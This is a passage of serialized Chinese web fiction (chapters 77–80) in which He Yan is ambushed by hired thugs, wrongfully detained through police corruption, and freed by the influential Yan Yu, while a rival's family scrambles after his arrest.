“是我的不对,我向你道歉。如果不是郗景突然出现,我已经完全把这件事忘了。最开始我是对你有些误会,但那天晚上我的误会就解除了。” “贺衍,我从来没把你当成谁的替代品,你在我这里一直都只是你。” 贺衍给了反应,平淡地哦了一声。 淡金色的眼瞳忽然愣怔,这是什么意思。 贺衍掀起眼皮;“我知道,你应该是在游乐园大门口的时候想起这事的,只是当时我被西莉亚拉走了。” “那你还生气吗?” 贺衍瞥了他一眼,轻飘飘地说了句:“我好像从头到尾也没说我生你的气了吧。” 公交站牌到了。 一辆公交车恰好驶过,贺衍对着他挥了挥手:“下次见。” 心像是被羽毛轻抚,那些细小的连杭凌一自己都没能察觉的不安,因为这句话瞬间消失了。 他站在原地,直到公交车彻底消失在视野里才恍过神来。片刻后,杭凌一摇了摇头,唇角却扬了一个很小的弧度。 酒店距离铜海市游乐园有十几公里,公交车到站的时候,已经是一个多小时后了。 天已经变暗了,街灯在空气里晕开昏黄的光晕。 贺衍从公交车上走下来,这一站的公交站牌距离酒店还有二百多米。 他朝着酒店的方向走了大概有一段路,眼皮忽然跳了下,贺衍的目光微微一动,落在了旁边。 紧接着,伴随着杂乱的脚步声,几个混混从暗处的小道里走了出来。 为首的黄毛嘴里还叼着一根烟。 贺衍扫了一眼,但并没有停下脚步。 “站住,让你走了吗你就敢走。” 那几个混混直接围住了贺衍,挡住了他的路。 黄毛拿出手机,对着贺衍的脸上下比对,然后肯定地点了点头:“没搞错,就是这个人。” 黄毛咧了下嘴,笑着说道:“抱歉了,小白脸,谁让你得罪了人呢。” 他收起手机,拿出小刀在贺衍的眼前晃了晃,刀刃在昏黄的光线下泛着冷光。 贺衍的眼神骤然冷了下来。 得罪了人?他能在铜海得罪谁? 贺衍缓缓掀起眼皮,看向了围住自己的那群人。 他的目光毫无波澜,语气也很平静:“滚开。” 黄毛莫名打了个寒战,寒意从脊背刷一下地窜了上来。他咽了口唾沫,这小子说不定是个硬茬。 黄毛眯了下眼,下一秒,就拿着刀朝贺衍的脸划过去:“装什么——” 他的声音戛然而止。 咔嚓一声,黄毛发出痛苦的惨叫,小刀落到了地上。 等到贺衍弯腰捡起了地上的刀,剩下的几个混混愣才反应过来,一股脑地向他冲了过去。 第77章 第 77 章 警察局 第77章 贺衍侧身避过刀锋, 左手扣住一人的手腕,猛地踢向对方,那人连哼都没有哼一声, 直接被踹飞出去, 撞翻了身后的垃圾桶。 拿着钢管的混混不知道什么时候绕到了贺衍身后,抡起钢管就朝他砸去。 这刀还不如不用。 贺衍扔掉手里的刀, 迅速地矮身躲过,反手击中对方的咽喉,把他手里的钢管甩到了几米之外。 那人捂着脖子跪倒在地,发出剧烈的咳嗽声,脸也涨成了猪肝色。 钢管在地面上弹了几下, 声音在寂静的小道里很是刺耳。 好烦, 本来今天因为堵车就回来得晚了, 还要应付这些杂碎。 一会儿还得跟奶奶解释。 贺衍眉头蹙紧,唇角抿成一条直线。 还剩下两个。 昏黄的光线下,他整张脸藏在阴影里, 看不清表情。 贺衍活动了一下手腕,语气满是不耐烦了:“你们一起上。” 剩下的两个混混对视一眼, 就在贺衍以为他们会一起冲上来的时候,这两人撒开腿一溜烟就跑远了。 黄毛暗骂了一声, 妈的, 今天这单子亏了。他趁贺衍不注意, 挣扎着从地上站起来。 但在他准备偷偷离开的那一瞬, 动作忽然僵住了。 身后的脚步声不紧不慢,却像是重重地砸在他心上一样,黄毛的心脏几乎快从胸腔里跳出来。 他咽了口唾沫,机械地扭动着脖子, 往后瞄了一眼,根本来不及躲避,就被一脚踹到了地上。 贺衍的鞋底碾上他脱臼的手腕,垂眸看着他,面无表情地问道:“谁派你们来的?” 黄毛颤着身体,赔笑着说道:“没有谁,是我眼睛瞎了才敢去打劫您。都是有眼不识泰山,您大人有大量,放过我——” 剧烈的疼痛让他连叫声都发不出来。 贺衍声音冷到几乎要结冰:“谁派你们来的,郗景吗?” 黄毛疼得脸都皱成了一团,他没被压着的那只手拽着贺衍的裤腿:“大哥,大哥,我真不知道你说,你先松开脚,我真的不知道啊。” 黄毛的手机因为他的剧烈挣扎掉落到了一旁。 贺衍松开了他,低头准备拿黄毛的手机的时候。 两道强光打在了贺衍身上,他下意识闭上了眼。 “都别动!警察!” 两名警察快步冲过来,手电筒的光束从贺衍身上移开。 其中一个警察的手已经按在了配枪上,另一个年长一点的警官则皱起眉头打量着现场。 他拿着手电筒,在附近照了一圈,光束落在钢管和小刀上的时候,眉头皱得更紧了。 随后,他的目光落在了现场唯一还站着的贺衍身上。 年长警官沉声问道:“五分钟前有人报警说你们聚众斗殴。” 他的目光在贺衍和混混之间来回移动:“解释一下,怎么回事?” 黄毛挣扎着爬起来,指着贺衍:“他、他打人!无缘无故就——” 年长警官转头看向贺衍:“你打的?” 贺衍神色平静:“正当防卫。” 躺倒在垃圾堆里的也挣扎着坐起来,他大声为自己辩护道:“不是,是他故意打我们的。警察叔叔,你不能因为我们看着不像好人就误会我们啊。” 另一个捂着嗓子说不出话的人也跟着点头,他指着贺衍,一脸的愤怒。 年长的警官眼神微变,他转头对年轻警察示意:“把这几个都带回去做笔录。” 四十分钟后,贺衍从警局的询问室走出来。 迎面就碰上了刚从另一间询问室离开的黄毛。 黄毛眼睛转了几圈,周围没多少人,他对着贺衍扯了扯嘴角,张开嘴无声说道:你死定了。 贺衍视若无睹地移开视线,走到角落拨通了电话:“奶奶,我可能再过一会儿才能回去。嗯,对,没事,您不用等我,先吃饭吧。” 黄毛翻了个白眼,给自己倒了一杯水,一脸有恃无恐的模样。 年长警官本来以为这不过是一场简单的打架斗殴,虽然这几个人各有说辞,但他做警察也十几年了,自然能看谁到底在说谎。 但问题是,年长的警官眉头锁死,再次询问道:“监控什么都没拍到?” 他明明记得,那个路段至少有三个监控,怎么可能一个都没有拍到。 “孙警官,这三个都是移动监控摄像头,如果按照下午的那个方向,的确可以拍到这几个人发生冲突的画面。” “但是下午六点的时候,监控方向就发生了变化。”监控室的民警也是一脸奇怪,“但负责监控的是交警的事,可能是他们根据路况调整了一下监控位置,反正现在的确是什么都没拍到。” 刚才跟在孙理峰身后的那位年轻警官轻声喊道:“师父,局长找你。” 孙理峰撇了下嘴,眉头拧成一团,奇了怪了,局长一年也不找他几次,而且他明明记得一个小时前,局长就回家了啊。 局长轻声说道:“刚才你是不是弄了几个人回局里了。” 孙理峰蹙着眉:“打架斗殴,正当程序带回来的。” 局长笑着拍了拍他的肩膀:“没说你不正当,我的意思是,这事你别管了。一会儿除了那个黑头发的,其他人都放了。” 孙理峰不乐意了:“不是,刚才我们跟那四个人都分别谈过话了,明显是那个贺衍受了无妄之灾啊。” “你以为我不知道啊,你想想这次的事,连监控都找不到。”局长一脸无奈:“老孙,难道你以为我愿意大老远从家里赶过来,但是上面来电话了。” 局长摇头:“那叫贺衍的对吧,不知道惹上谁了。反正给了死命令,必须把他拘留一段时间。” 孙理峰冷笑一声,有些阴阳怪气:“没监控,就算凭那几个小混混的片面之词,也最多给贺衍弄一个打架行政拘留。” 不知道是没听出他话里有话,还是不在意,局长点了点头说道:“那就给他先关个十五天吧,到时候再说其他的事。” 孙理峰点了点头,但他出去之后没有立刻放黄毛那几个人离开,而是阴着一张脸示意贺衍跟上自己。 黄毛看到这一幕,对着贺衍做了几个满是嘲讽意味的鬼表情,神色十分张狂。 贺衍眼皮一跳,忽然有种非常不好的预感。 孙理峰带着贺衍走到监控的死角,停下了脚步。 “贺衍,我也不多说什么废话了,我不知道你是得罪了什么大人物,但是现在的情况是,那三个混混都可以无罪释放,但是你却要因为打架斗殴要在拘留所里待上至少十五天,我甚至无法保证你后面能不能顺利出去。” 孙理峰的语速极快,他压低声音说道:“所以,现在你要是有什么认识的人的关系,赶紧给他打电话。” 贺衍眉头骤然压紧:“多谢,警官。” 孙理峰对着他点了点头:“我再给你拖十分钟,你能用上什么关系就赶紧用。” 铜海市,郗家。 郗景看了眼手机里的消息,唇角勾出愉悦的弧度。 “小景,别看手机了,你看我身上这衣服好不好看。” 郗景的母亲杭书雅有着一头银色的长发,眼睛和郗景一样是深棕色。她的面容俏丽,明明已经快要五十岁,但看着跟三十多岁的人并没有太多差别。 郗景自然是好好夸奖了一番。 杭书雅照着镜子,满意地点了点头;“云吉,你刚才说这个裙子叫什么来着。” 站在一旁看起来像瘦竹竿一样的设计师听到自己的名字,轻咳了一声,声音轻快地介绍道:“这叫作马面裙,仿照的是两千年前的古籍样式,裙身这些细密的褶皱都是手工缝制固定……” 杭书雅也没打断这小孩子的长篇大论,颇为喜爱地看着他说完,然后给裙子拍了张照片,点击发送后,没过几分钟,手机就响了起来。 杭书雅接通电话,语气颇为亲昵,还带着一丝丝的炫耀:“多琳,刚才那裙子是不是很好看,现在全联邦可就我这里有马面裙。” 不知道对面说了什么,杭书雅笑出声:“当然,我当然欢迎你过来,到时候让云吉亲自给你设计一件。” “对,我上周末不是去看了个秀展吗,淘到宝了。对,就是这个毕云吉,很厉害的一个新人设计师。” 坐在一旁的毕云吉脸颊通红,被夸得不好意思了。 郗景给毕云吉了一个眼神,示意他出去。 等杭书雅打完电话的时候,偌大的衣帽间里只剩下她和郗景两个人了。 “妈,刚才你在跟谁打电话?多琳阿姨吗?”郗景思索了片刻,“我记得她是不是嫁到淮新方家了。” 杭书雅肯定了他的说法。 杭书雅忽然想到什么,她眉头一皱:“你今天跟鄢昱商量得怎么样。这次鄢昱是出轨,你手里又拿着证据,鄢家势必得给我们一个说法。鄢昱虽然不是老大,但他继承的东西可比他那个哥哥多太多了。” 郗景耸了下肩:“还在谈,不过离婚肯定是要离。” 杭书雅啧了一声:“鄢昱也和他老爹一个德行,家里有一个外面有一堆。当初我怎么就看走眼了,可怜我儿子受苦了。” 杭书雅摸了摸他的头:“离婚可没你想象得那么简单。不过,虽然鄢家在姆扎州可以说是一家独大,但我们郗家也不差,更何况还有你身后还有你舅舅。对了,凌一呢,我不是跟他打电话让他今晚来家里吃饭吗?” 郗景鼓了下脸颊:“你怎么每天都杭凌一杭凌一的,他只是你侄子,我是你亲儿子好不好。” 杭书雅假装生气:“臭小子,要不是为了你,我一个作姑姑的用得着去讨好侄子吗。” “下午我跟他吵架了,谁知道他晚上还来不来。” 话音刚落,衣帽间的门被敲响了。 管家低声说道:“夫人,杭少爷过来了。” 郗景撇了撇嘴,翻了个白眼。 晚上八点,铜海市,云丰区警察局。 黑发男人迈步走进警察局内,墨绿色的眸中里是森冷的寒意,极具压迫感。 第78章 第 78 章 拘留所 第78章 大厅值班的警员出声拦住了他:“报案左转, 这里非相关人员不能入内。” 鄢忬垂眸看向他:“我来找人。” “找谁?” 鄢忬沉声说道:“龚建锐。” “就算是找人,没有传唤也不能随便——”警员的声音戛然而止,“你找局长?!!” 警员舔了下嘴唇, 抬头打量起这个贸然闯入警局却没丝毫局促的人, 语气恭敬了些:“您有预约吗?而且这个点局长应该已经下班了,您要不明天再来。” 鄢忬眸色变暗, 他抬腕看了眼时间:“龚建锐下班了?” “你连局长什么时候下班都不知道,你到底预约没有。”值班警员语气又变成了最开始的样子,“不好意思,无关人员不能进来。” 鄢忬脸上没了表情,他的眉梢微微压低。 值班警员咽了一口唾沫, 神经下意识紧绷起来。 龚建锐走到了大厅, 他看到大厅这里的情况, 随口问道:“小张,发生什么事了?” 小张眼睛一下子睁大,局长怎么没走, 他刚才明明亲眼看见局长离开了。 他立刻立正问好:“局长好,是这样的, 这个人说要找您。” 鄢忬沉眸看着他:“龚局长,我是鄢忬。” 龚建锐瞳孔缩了一下, 想到刚才那通电话, 立刻意识到眼前的人是谁, 鄢家的大少爷。 两百年前, 鄢家用铁路和油田建立起了自己在姆扎州的根基。直到现在,鄢家依旧攥着全州七成以上的能源命脉,左右着议员的选举投票。 可以说,大半个姆扎州都掌握在鄢家手中, 上到姆扎州的议会大厅,下到边境的炼油厂。几十年前,媒体戏称鄢家其实就是“姆扎州的影子政府”。 直到二十年前,裴正举担任联邦将军,鄢家在姆扎州一家独大的格局才被打破。 也是在二十年前,鄢家的大小姐对裴家的大少爷一见钟情,非君不嫁。一年后,鄢家和裴家联姻,当年的婚礼盛大的联邦总统都亲自前来祝贺。 但鄢裴两家的关系并没有因为联姻而密不可分,反而在裴家的长孙出生后没多久,两家的关系跌破了冰点,直到近些年才井水不犯河水。 如今新上任的总统就是当年裴家的大少爷。 这些事情知道的人不多,但龚建锐的父亲是当年跟在鄢家大小姐鄢瑜身边的一个低级管家。 在鄢瑜嫁给裴行赫后,他的父亲就被辞退了。但也正因为他被辞退,为自己换来了一个在警局工作的机会。 眼前这位鄢家的大少爷,和鄢瑜是同父异母的姐弟。 龚建锐立刻大步迎了上去:“我还以为您要等一会儿才过来。” 局长的态度卑谦低微到了极点,几乎让旁边值班的警员以为自己出现了幻觉。他身子抖了一下,后背瞬间冒出了冷汗,他刚才的态度是不是有点差,不会得罪什么大人物了吧。 龚建锐也伸出手,但鄢忬半点没有回握的意思。他赔笑着收回手,半点不嫌尴尬地继续说道:“您亲自来一趟,是为了?” 龚建锐刚才只接到电话说一会儿鄢家的人要来,但那通电话并没有告诉他具体是为了什么。 “贺衍在哪里?” 原来是为了这件事,想到之前他接到的通知里没有明说的大人物,龚建锐想当然地就把他当成了那位大人物。 毕竟,那个贺衍的档案他也看过了,就是一个津兴市的普通平民。鄢忬也不可能和贺衍有关。 龚建锐了然地点头,他领着鄢忬到自己的办公室。 “您是为了这事啊,我已经按照您的吩咐把这事办好了。那个叫贺衍的现在已经被关到拘留所里了。” 龚建锐把自己这里最好的茶给鄢忬奉上,小心翼翼地说道:“不过按照程序,这个人最多只能按行政拘留十五天。” 鄢忬墨绿色的眸中凝出寒霜,他垂下眼,盯着茶杯上的倒影,语气听不来什么情绪:“你办事效率倒是挺高。我之前怎么吩咐的,你还清楚吗?” 难道这位不满意,龚建锐额头上骤然冒出冷汗,心脏开始剧烈狂跳。 龚建锐立刻回话:“但是您放心,其实我已经跟下面的人下通知了,等过几天就会对贺衍提审,之后就会把他送到勐沭监狱。” 勐沭监狱是姆扎州关押死刑犯的监狱,去里面不死也要脱层皮。 鄢忬抬眸看他,表情森然:“听不懂我的问题吗?” 龚建锐脸色瞬间变白,因为恐惧而胀痛的大脑拼命地运转,他几乎用尽所有的力气才勉强挤出一张笑脸。 “我也是听上面的电话转述。哦,对对,我想起来了,您吩咐说最好把他关个几年再出来。您放心,这人聚众斗殴还有自带器械,不关他个三年绝对——” 龚建锐磕磕巴巴地想要解释什么,但是鄢忬已经听不下去了。 他冷声说道:“给你打电话的那个‘上面’的人是谁?” 他忽然意识到自己搞错了什么,这个人不是他以为的那位。龚建锐的表情瞬间凝固,瞳孔剧烈地震颤,额头上的冷汗已经落到了桌面上。 他嘴唇颤抖着,半晌没发出任何声音。 鄢忬看了他一眼,语气平静:“如果你还想要头上这顶帽子,说话。” 龚建锐的后背瞬间湿透了,他用力咽了一口唾沫,声音干涩地开口了:“是市局的程副局长。” 云丰区辖区的拘留所在警局的西北方向,大约十公里的路程。 贺衍坐在后座,双手被手铐铐在前面。 刚才提醒他的警察孙理峰就坐在他的旁边,但孙理峰的表情比贺衍还要难看。如果不是手铐没在他手上铐着,他看起来比贺衍更像是要被关进拘留所的那个人。 街道两旁的路灯落入车内,手铐泛着金属的冷光。 贺衍苦中作乐勾起了唇角,上辈子手铐他见得不少,警车也做过好几次。 但没想到居然有机会体验亲自体验一番,戴着手铐坐警车。 贺衍闭上眼睛靠在后椅上,思索着到底该如何脱困。 他现在已经很确定那批混混身后的就是郗景。 刚才他给鄢忬打了电话,但是没打通,等他想要再打一遍的时候,就被人收了手机铐上了手铐。 按照程序,他在拘留所里要待上十五天,十五天之后就会被释放。 但要是真按照程序,他也不会被关进拘留所了。 贺衍睁开了眼睛,眸光锐利。 警车停下了。 孙理峰下车,示意贺衍下来。 孙理峰对开车的警察做了个手势,让他等一会儿再过来。 他压低声音对贺衍说道:“局长刚才告诉我了,你得罪的人来头太大,拘留所只是暂时的。过不了几天就会把你关到勐沭监狱里去。” 孙理峰抿了下唇,颓废地低下头:“抱歉,我知道你是无辜的,但我能力有限,没办法帮你。刚才说是要为你争取十分钟,但——” 贺衍眼眸闪烁,他刚才还在怀疑孙理峰是在故作友善,毕竟他之前说是为自己争取十分钟,但最多往后拖了一分钟不到。 不过,他现在确定了这位警官的确是难得一见的好人。 贺衍请求道:“孙警官,您不用抱歉。只是,能拜托您一个忙吗?” 孙理峰点了点头,目送贺衍被拘留所值班的警察接走。 拘留所的大门打开了一会儿很快又关上了。 云丰区警察局,局长办公室。 龚建锐他整个人僵在原地,动也不敢动,等着面前的男人最后的宣判。 鄢忬挂断了电话,抬眸看向龚建锐:“程副局长?程宏维。” 听到鄢忬轻描淡写地叫出程宏维的大名,龚建锐的神经已然麻木了。 程宏维,是郗家的人。 墨绿色的眸色幽森晦暗,鄢忬起身:“去拘留所。” 龚建锐僵硬地跟着站了起来,点了点头。 忽然,突兀的手机铃声打破了室内令人窒息的气氛。 龚建锐被这声音吓得哆嗦,腿软了一下,差点摔倒在地上。 鄢忬面无表情地看了眼陌生的号码,接通了电话。 “喂,您好,请问是鄢忬鄢先生吗?因为某些原因,贺衍现在在云丰区的拘留所——” 墨绿色眸中乌云密布,他的喉结滚动,声音低沉暗哑,像是从胸腔深处碾出来的一样:“你是谁,贺衍现在怎么样?” 电话那头的孙理峰被他语气里压抑的情绪吓到了,他愣了一下,将之前发生的事情简单介绍了一下。 “鄢先生,如果您有能力帮他的话就快一点行动,不然过不了几天他就要被送到监狱里了,那时候就不好再出来了。” 鄢忬的指节发白,青筋暴突在紧绷的手背上,手机在他掌心发出不堪重负的细微声响。 第79章 第 79 章 对吧,阿衍。 第79章 拘留所内, 值班警察领着贺衍到了一间八人大通铺。不过目前这里就关了一个人,还空着七张床铺。 这人看着大概三十多岁,络腮胡, 身材圆润, 脖子上有很多红肿的蚊子包,左臂上遍布纹身, 他上下打量了几眼贺衍,眼底闪过一丝精光。 这小子长得真是太帅了。 他舔了下嘴唇,吞咽了一口唾沫:“小兄弟,你是犯了什么事被关进来了,要在这里待几天啊。” 他的语气友好, 颇有种难兄难弟的感觉, 试图引起贺衍的同病相怜。 贺衍掀起眼皮看了眼他, 脸上没有任何情绪,也没说话。 这人撇了撇嘴,并没有被贺衍的冷漠击退, 他又往贺衍身边坐了一点:“对了,自我介绍一下, 我叫林樟,已经在这里一个人待了大半天了, 终于来个人陪我了。也不知道这些警察是怎么想的, 我不过就是参加了个聚会, 就把我逮到这里关起来。” 林樟抱怨了几句, 他伸出手正准备搭在贺衍肩膀上,就被贺衍的手背挡开了。 贺衍瞥了一眼他的脖子:“什么聚会,三个人以上的吗?” 这小子怎么意有所指的,林樟干笑了一声:“都是聚会了, 那肯定都是三个人以上了。” 贺衍没有再理他了。 林樟眯了下眼,他下午的时候问过值班的警察了,被关到这几个房间的都是至少十五天的。等到九点就没有巡逻的警察了,之后只要不闹出太大的动静,就不会有人过来。 他比这小子要壮那么多,到时候他不还是任由自己揉捏。 林樟舔了一圈嘴唇,昨天晚上还没玩尽兴就被抓进来了,他本来还觉得是自己运气不好。 但现在,林樟眼神黏在贺衍的脸上,自己运气可真TM得太好了。 沉默蔓延。 贺衍眉梢紧蹙,神色中透露着寒意。 就算郗景再讨厌自己,但今天明明是他们两个人第一次见面。 但郗景为什么这么着急,有些不太符合常理。今天下午他们刚发生了冲突,晚上他就出了事。 只要稍微动脑子想一想,就能知道这是郗景做的。 贺衍敛眸沉思,最开始那个黄毛的架势,明显是打算给自己个教训,还有那些武器,如果他没有能力反抗,不死也要半残。 如果不是警察过来,那个黄毛自己也打算溜走。 不,不对,刚才那几个混混他们的攻击目标是自己的脸—— 现在又准备把自己关到勐沭监狱。 不管是毁容还是关进监狱,贺衍微眯了下眼,郗景是不希望谁知道自己还活着。 可岑靳明明在奎尔丹尼州—— 贺衍的瞳孔忽然猛缩,难道岑靳要来姆扎州。 他的眸色骤然沉了下来,不论如何,他不能在这里坐以待毙。 虽然只见过一面,但从郗景的举动里就能看出来,他是一个报复心极强的人。 留给他的时间不多了,即使孙警官打通了鄢忬的电话,但鄢忬只是一个大学老师,力量或许有限,并不一定能保证他能离开这里。 万一郗景再去报复鄢忬。 贺衍表情彻底暗了下来,他需要再给杭凌一打一个电话。 不过,他得先闹出动静,让警察过来。 贺衍不着痕迹地看了眼林樟,虽然不清楚这个人打算干什么,但看他的样子,似乎快要动手了。 九点的铃声打响,林樟勾起唇角。 他在心里默数了几秒钟,然后从床上蹦了下来,走到了坐在床铺另一侧的贺衍身前。 “不介绍一下自己吗,不能只有你知道我的名字,我什么都不知道吧。”林樟压着声音,粗胖的手指伸向了贺衍:“咱们这也得有来有回,对吧,小兄弟。” 拘留所,今夜值班的副所长戴上警帽唰一下地冲到大门处。 “龚局长,您今天怎么来这里了。” 龚建锐偷偷看了眼身侧的黑发男人,他扯了下僵硬的嘴角,深吸了一口气,沉声说道:“今天晚上是不是新送过一个人,名字叫贺衍。” 副所长点了点头:“对,还是孙队长亲自送过来的。这,难道今晚就要把人提审?” 龚建锐听到他说的话打了个激灵,立刻加重语气命令道:“当然不是,孙理峰抓错人了,你去把人放出来。” 副所长被龚建锐的语气吓住了,立刻点头,打开门领着人进去。 他往后偷偷瞥了一眼高个的黑发男人,眼睛快速眨动了几下,忽然明白了什么,脚步更快了。 只是刚走到关押的房间那里,就听见了几声连着的惨叫。 怎么越听越像是关贺衍的那个房间,不会是出什么事了吧。 副所长颤笑着擦了擦头上的汗:“大概是哪个被拘留人不小心撞到了。” 走了没几步,到地方了。 地上躺着一个肥头大汉,蜷缩着身体,时不时发出痛苦的呻吟。 但这时候没有一个人的心思在他身上了。 贺衍看到走在最前面穿警服的人,正准备说话,但那句话还没说出口,就愣住了。 他眨巴眨巴眼,终于确定不是自己的幻觉,快步走到铁栏前。 鄢忬看到他安然无恙,唇角扬起一个很小的弧度,整张脸瞬间柔和了。 贺衍的眼睛几乎是瞬间亮了起来,语气里满是喜悦:“叔叔,你真的过来啦。” 鄢忬无奈地笑了下,嗯了一声。 副所长不清楚状况,拿出钥匙打开门把他放了出来。 贺衍走出来的时候,对开门的警察道了句谢。等他转过身,鄢忬已经走到他身后了。 鄢忬垂眸轻轻看着他,然后整了整他有些凌乱的衣领,温声说道:“没事了,我们回家吧。” 这和刚才威胁自己的是一个人吗?他本来是为了讨好程宏维,结果却得罪了一个绝对不能得罪的存在。 龚建锐站在一旁,他已经吓得几近失语了,脖子像是被什么东西死死掐着,呼吸不过来了。 “我又麻烦你了,叔叔。”贺衍抿唇,他看了眼鄢忬又垂下了眼,欲言又止。 “我已经给杨阿姨打过电话了,放心吧。” 贺衍愣了一下,有些不好意思地低下了头。 鄢忬轻笑了一下,揉了揉贺衍的头发,墨绿色的眸底划过一抹微不可察的餍足。 遇到困难的时候,当然第一时间就该想到我。 对吧,阿衍。 鄢忬微眯了下眼,手上还残留着刚才触碰发丝的触感,又轻,又痒。 龚建锐目送着鄢忬开车远去,眼前忽然一阵发黑,他奶奶的,别说他自己了,程宏维那个市局的副局长都不一定能保住头上的那顶帽子。 鄢忬的车开得很稳。 鄢忬温声说道:“我有一个朋友,他在警局有些人脉。他吩咐过龚局长了,今天晚上这事,暂时不会让那个害你的人知道的。” 贺衍坐在副驾驶位上,头抵在冰凉的窗玻璃上。窗外的霓虹流转,彩色的光晕透过玻璃,在他的脸上投下迷离的光影。 他望着远处闪烁的灯火,睫毛微微颤动,眼神涣散了一瞬。 因此也没有发现鄢忬话里的漏洞。 鄢忬轻声问道,似乎害怕打破什么一样:“今天,出了什么事?” 贺衍收回了视线,他低声说了句:“也没什么,就是感觉自己挺蠢的。” 大概又过了一会儿,贺衍今天下午的事简单说了一下。 他的声音有些含糊不清:“我是不是挺蠢的,还真以为他把我当朋友。” 岑靳,还有郗景。 今天这事,是郗景的手笔。 鄢忬眸色微沉,唇瓣微张:“阿衍——” 但贺衍没有给鄢忬回答的机会,他忽然问道:“叔叔,你家里的事情办得怎么样了。” 鄢忬眸中暗芒微现,随后轻笑着说道:“本来以为差不多了,不过刚才又想了想,好像还有一些事情没有解决。” 贺衍没听出他语气里的深意,还以为是因为自己的原因耽误了。 “叔叔,抱歉,如果不是因为我的事——” 汽车在酒店门口停下了。 “不是因为阿衍,别想太多了,快回去休息吧。”鄢忬微眯了下眼,墨绿的瞳孔周围凝出一层寒霜,是有些人的手伸得太长了。 鄢忬对着贺衍笑了笑,拍了拍他的头,收回手时,指腹不经意间擦过了他的耳垂。 贺衍毫无察觉。 鄢忬唇瓣抿直,喉结滚动。贺衍的身影彻底消失在了他的视野中,良久,他才彻底压下心头翻滚着的浓稠的欲望。 贺衍回到酒店的时候,杨梅霞已经睡了。 他看了眼时间,现在已经快要十点了。 他斜倚在落地窗前,看到了鄢忬的那辆车还停在楼下。 就在他正准备打电话问问什么情况的时候,车忽然启动了。 贺衍耸了下肩,随后神色又凝重起来。窗外霓虹的灯影掠过他锋利的侧脸轮廓,在眉骨投下一道凌厉的阴影。 贺衍敛眸沉思,修长的手指无意识地轻扣着落地窗。 本来他想着在郗景发现自己离开之前,跟杭凌一打个电话探听一下郗景的行踪。但鄢忬既然说了,这两天郗景不会知道自己从拘留所里离开的事,那郗景明天肯定还会照常行动。 毕竟今天下午聊天的时候,杭凌一说过晚上他要去他姑姑家里,但明天是工作日,他一定会去法院。 贺衍心里有了主意。 第二天上午九点,贺衍点开通讯录,正准备拨打杭凌一的电话。 手机状态栏里忽然弹出了一条消息推送,来自联邦最具权威性的网络媒体。 贺衍神色一凛。 他紧紧盯着手机屏幕,点开了这条报道:[郗家继承人郗景半个月前醉酒驾驶被曝光,目前已被刑事拘留] 第80章 第 80 章 融化的雪糕 第80章 当天下午, 媒体对这条新闻进行了最新的跟踪报道:[郗景醉酒驾驶造成交通事故并致他人受伤,对该事故负全部责任,判刑六个月, 目前已被移送至勐沭监狱。] 贺衍眉梢轻蹙, 把整篇报道又看了一遍,确定自己并没有看错。 看来, 还是要给杭凌一打一通电话。 铜海市中级法院。 杭凌一正在翻看案子的卷宗资料,办公室的大门忽然从外面被猛地推开了。 淡金色的眼眸中闪过一丝不悦,他抬起头,发现站在那里的是杭书雅。 杭凌一微眯了下眼,掩住了眸中的神色, 他站起来:“姑姑, 你怎么有空来我这里。” 杭书雅脸上带着几分憔悴, 整个人看着突然间苍老了十几岁。 “凌一,你得帮帮姑姑。郗景因为醉酒驾驶被判刑六个月,现在已经被移送到勐沭监狱了。” 他上午的时候看到这个新闻了, 但没太在意。毕竟酒驾这种案子,只要没有造成人员伤亡, 凭郗景的家世,别说坐六个月的牢了, 就算是酒驾当场被抓到, 那些执法人员也不可能敢去拦他。 但现在居然真的被判刑了, 而且勐沭监狱那里关的可是死刑犯。 杭凌一眉梢一挑, 这倒是有意思了。 也不知道他的这个表哥得罪了谁,让别人这么去整他。 杭凌一心里其实对这件事不怎么关心,但是面上倒是露出了几分忧虑,他微微抿唇, 关切地看着杭书雅。 “我已经找了郗家能用得上的关系,但他们的回答都含糊。”杭书雅眼眶泛红,表情却阴冷了下来,“我怀疑是鄢昱下黑手了,不然那些警察不可能那么大胆,敢直接拿着逮捕令闯到我郗家来。” 鄢昱正在郗景进行离婚前的财产分割,郗景搜到的那些证据,按照鄢郗两家的婚前协议,这些证据几乎可以让鄢昱净身出户。 不过,怎么会在现在这个时间点动手。 他昨晚可是听姑姑说,目前鄢家也同意将鄢昱的股份转让一半给郗景,剩下的部分主要是在房产分割上,但那些房产可完全比不上股份值钱。 而且就算郗景坐了牢,在离婚这件事上,鄢昱依旧是过错方,财产的分割也并不会因为郗景的坐牢而发生太大的变化。 除非鄢昱打算让郗景死在里面,但这更不可能了。 郗家是姆扎州的化工巨头,鄢家的下游产业链合作商里,郗家的企业占比超过三分之一。 就算鄢昱和郗景离婚,鄢郗两家的企业也不可能彻底分割。 杭书雅深吸了一口气,有些喘不过气,重重地靠在了沙发上。 杭凌一给她倒了一杯水:“放心吧,姑姑,我会找人帮忙的。” 杭书雅眼睛亮了一瞬,面带期望地看向他:“凌一,你也知道郗景他从小都是娇生惯养的,哪能在监狱那种要命的地方待呢,还是勐沭监狱那种鬼地方。” 杭凌一点了点头:“那地方的确不是什么好去处,如果能不坐牢当然——” 一段节奏明快的钢琴曲突然响起。 “姑姑,应该是工作上的急事,我先接一下电话。” 杭凌一克制住想要上扬的唇角,走到房间的一角,接通了电话。 他压低了声音,但和刚才的语气不同,明显轻快了很多:“怎么想到给我打电话了?” 贺衍也没有客套寒暄,直接进入了主题:“郗景被判刑六个月,这事你知道吗?” “我也是刚知道他被判刑了,但具体的情况我还没有太了解。” 贺衍道了声谢后挂了电话。 杭凌一却依旧保持着刚才接电话的姿势,他微微蹙眉,眸中闪过一丝疑惑。 不对劲,按照贺衍的性格,即使昨天下午和郗景有了口角,他不会对郗景有过多关注,也不会特意打电话来问自己。 杭凌一的表情一沉,除非他们发生了什么自己不清楚的事。 贺衍并不清楚自己的这一通电话对杭凌一造成了什么影响,他只是以为杭凌一选择了隐瞒。 但因为郗景的突然入狱,贺衍便暂时没有放太多心思在他身上。 网上也没了后续的报道,这条新闻的热度也很快消失了。 贺衍虽然理智上对杭凌一的隐瞒表示理解,但他还是有些不爽。也因为这样,接下来的这两周,他和杭凌一聊天的兴致也没那么高了。 只是,郗景不可能坐够六个月牢的,贺衍垂下了眼,眼里的光也跟着沉了下来。 他会等他出来的。 这件事,不会这么算了。 五月下旬,已经步入盛夏,天气酷热。 再过三周,就是每年一度的联邦高考。周五上午,贺衍辞去了方刚玩具公司的工作,打算专心备考。 烈日骄阳,推开公司大门的一瞬,外面的热浪几乎要把人掀翻,柏油路似乎被烤化了一样,踩上去有种要把鞋底黏住的错觉。 公交站牌距离方刚玩具公司不过一百多米。 